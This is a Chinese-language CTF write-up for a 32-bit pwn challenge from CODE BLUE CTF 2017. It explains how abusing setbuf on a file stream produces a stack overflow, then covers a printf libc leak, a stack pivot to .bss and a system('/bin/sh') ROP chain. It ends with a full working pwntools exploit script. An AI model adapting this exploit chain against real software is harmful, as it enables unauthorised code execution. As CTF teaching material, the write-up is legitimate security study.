CTF PWN题之setbuf的利用

朋友让我一起看了一道32位的pwn题,好像是国外code blue 2017 ctf上的一道题,开始我感觉32位pwn的姿势我应该都会了吧,结果,又学到了新姿势……

题目链接:https://github.com/Hcamael/CTF_repo/tree/master/CODE%20BLUE%20CTF%202017/Pwn

在拿到这题的时候,看了下是32位的,canary都没开,本以为是很简单的题

sub_8048ada函数中发现了一个任意函数调用的漏洞,对于filter输入的数值只检测v3<=2,而v3是int型,所以可以任意调用小于0x804b048的函数,但是参数却不能控制,第一个参数是fopen("/dev/null")调用返回的文件流,第二个参数是buf,第三个参数为长度

初次之外就找不到别的漏洞了,在参数无法控制的情况下,只能利用该bin中的本身函数,没有任何getshell的思路

然后在大佬的教导下,我第一次注意到了setbuf函数,大部分pwn题都会有这个函数,用来设置IO缓冲区的,第一个参数是文件流,第二个参数表示缓冲区,一般在pwn题中的用法是setbuf(stdin, 0)表示标准输入取消缓冲区。

仔细观察还会发现,stdin并不是0,而是在stdio库中设置的一个文件流,所以也是作用在stdio库中的函数,比如gets, puts, fread, fwrite

比如,gets函数使用的就是stdin文件流,如果设置了setbuf(stdin, buf)gets函数则会先从buf中获取输入,自己也可以写个简单的代码测试一下

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#include<stdio.h>

int main(void)
{
char buf[10];
memset(buf, 0, 10);
buf[0] = '1';
printf(buf);
setbuf(stdout, buf);
printf("test");
write(1, "\n====\n",6);
write(1, buf, 10);
}

然后运行一下

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$ ./a.out
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test

可以从结果看出,printf根本没有输出test,而是把这个字符串输出到buf缓冲区中了,从而修改了buf中的内容。

因为设置的是stdout的缓冲区,而stdout是stdio库中的文件流,所以write并没有受到影响

还有一个问题,setbuf并没有设置长度的参数,设置长度的需要使用setvbuf,所以默认情况下setbuf设置的缓冲区长度为默认的4096,这样在该题中就形成了一个攻击链

控制程序跳转到setbuf函数,简单的讲就是调用setbuf(fd=fopen("/dev/null"), buf1),然后在sub_8048742(no_filter)函数中调用了fwrite(fd, 0, buf2, len),这样就能往buf1中写buf2的数据,而buf是存在栈中的,所以可以造成栈溢出,能栈溢出了,下面就是找ROP链了

栈溢出构造逻辑:

add(rop) -> add(buf1) -> buf(buf2) -> add(buf3) -> add(buf4) -> setbuf(fd, buf4) -> post(buf1) -> post(rop) -> 栈溢出,利用ROP链

下面就是研究怎么构造ROP,我的思路是:

利用printf泄露libc地址 -> 算出system,字符串/bin/sh地址 -> 构造出第二个system(“/bin/sh”)的ROP链 -> 通过fread写入.bss段 -> 利用ROP把栈修改成.bss段 -> 执行第二个ROP system(“/bin/sh”)

同样也能利用one_gadget,payload下面会放,这里再讨论一个问题

我把栈地址修改成0x804b100,执行system("/bin/sh")是失败的,然后再和大佬的讨论中发现了几种可能,system需要获取系统的环境变量envp,通过看system的源代码,发现有一个全局指针变量_environ指向栈上的envp,如果这个值被覆盖成了一个无效的地址,system则无法执行。但是在该题中,我的第一个rop并不长,所以并没有覆盖掉envp,之后修改了栈地址,也不存在覆盖envp的情况。

然后还有第二种情况,system栈地址空间不足,程序的可读可写地址空间是从0x804b000-0x804c000,总长度为0x1000,然后我修改的栈地址为0x804b100,所以system可用的栈空间只有0x100,之后我把栈的地址修改成0x804b700后,就能成功执行system("/bin/sh")

附上payload:

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#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
context.terminal = ['terminator','-x','bash','-c']

def add(p, data):
p.readuntil("> ")
p.sendline("1")
p.readuntil("contents: ")
p.sendline(data)

def post(p, n, offset):
p.readuntil("> ")
p.sendline("3")
p.readuntil("ID (0-4): ")
p.sendline(str(n))
p.readuntil("> ")
p.sendline(str(offset))

def quit(p):
p.readuntil("> ")
p.sendline("4")

def main():
p = process("./mailer",env={"LD_PRELOAD": "./libc.so.6"})
libc = ELF("./libc.so.6")
e = ELF("./mailer")
# gdb.attach(p)
gadget1 = 0x08048dab # pop ebp ; ret
gadget2 = 0x080485f8 # leave ; ret
gadget3 = 0x08048495 # pop ebx ; ret
gadget4 = 0x08048daa # pop edi ; pop ebp ; ret
gadget5 = 0x08048da9 # pop esi ; pop edi ; pop ebp ; ret
one_gadget_sh = 0x56ff5
read_buf = 0x080486D9
stdin_bss = 0x804B060
bss_buf = 0x804b700
rop1 = "a"*0xd
rop1 += p32(e.symbols["printf"]) + p32(gadget3) + p32(e.got["printf"]) # printf(&printf)
rop1 += p32(read_buf) + p32(gadget4) + p32(bss_buf) + p32(0x100) # fread(buf, 1, 0x100, stdin)
rop1 += p32(gadget1) + p32(bss_buf) + p32(gadget2) + p32(bss_buf)
add(p, rop1)
add(p, "b"*255)
add(p, "c"*255)
add(p, "d"*255)
add(p, "e"*255)
post(p, 4, -15)
post(p, 1, 0)
post(p, 0, 0)
quit(p)
p.readuntil(":)\n")
printf_got = u32(p.read(4))
# print hex(printf_got)
system_libc = libc.symbols["system"]
printf_libc = libc.symbols["printf"]
binsh_libc = libc.search("/bin/sh").next()
system_add = printf_got - printf_libc + system_libc
binsh_add = printf_got - printf_libc + binsh_libc
one_gadget = printf_got - printf_libc + 0x3a838
#rop2 = "aaaa" + p32(gadget5) + p32(binsh_add+one_gadget_sh) + "aaaa" + p32(bss_buf) + p32(one_gadget)
rop2 = "aaaa" + p32(system_add) + p32(binsh_add) + p32(binsh_add)
p.sendline(rop2)
p.interactive()

if __name__ == '__main__':
main()
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